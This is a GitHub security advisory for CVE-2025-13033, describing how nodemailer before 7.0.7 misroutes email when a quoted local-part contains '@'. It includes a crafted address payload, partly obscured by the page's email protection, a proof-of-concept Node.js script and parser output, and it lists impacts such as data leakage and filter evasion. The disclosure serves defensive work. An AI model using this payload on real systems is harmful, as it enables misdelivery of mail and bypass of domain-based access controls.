GitHub Advisoryadvisory · npm
GHSA-mm7p-fcc7-pg87 Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
MEDIUM
Official page ↗
- Aliases
- CVE-2025-13033
- Ecosystem
- npm
- Packages
- nodemailer
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-20, CWE-436
- Reviewed
- 2025-10-07
Affected packages
• npm nodemailer: < 7.0.7 → fixed in 7.0.7
Description
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: `"[email protected] x"@internal.domain`
Using the following code to send mail
```
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});
let mailOptions = {
from: '"Test Sender" ',
to: "\"[email protected] x\"@internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);
});
(async () => {
const parser = await import("@sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}
console.log("Parsed email:", {
address: `${parsed.localPart}@${parsed.domain}`,
local: parsed.localPart,
domain: parsed.domain,
});
})();
```
Running the script and seeing how this mail is parsed according to RFC
```
Parsed email: {
address: '"[email protected] x"@internal.domain',
local: '"[email protected] x"',
domain: 'internal.domain'
}
```
But the email is sent to `[email protected]`
Impact:
• Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
• Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
• Potential compliance issue: Violates RFC 5321/5322 parsing rules.
• Domain based access control bypass in downstream applications using your library to send mails
Recommendations
• Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
• Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
Related
Alias · CVE (1)
- CVE-2025-13033 A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. vulnerability
References
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-13033 advisory
- https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626 web
- https://access.redhat.com/security/cve/CVE-2025-13033 web
- https://bugzilla.redhat.com/show_bug.cgi?id=2402179 web
- https://github.com/nodemailer/nodemailer package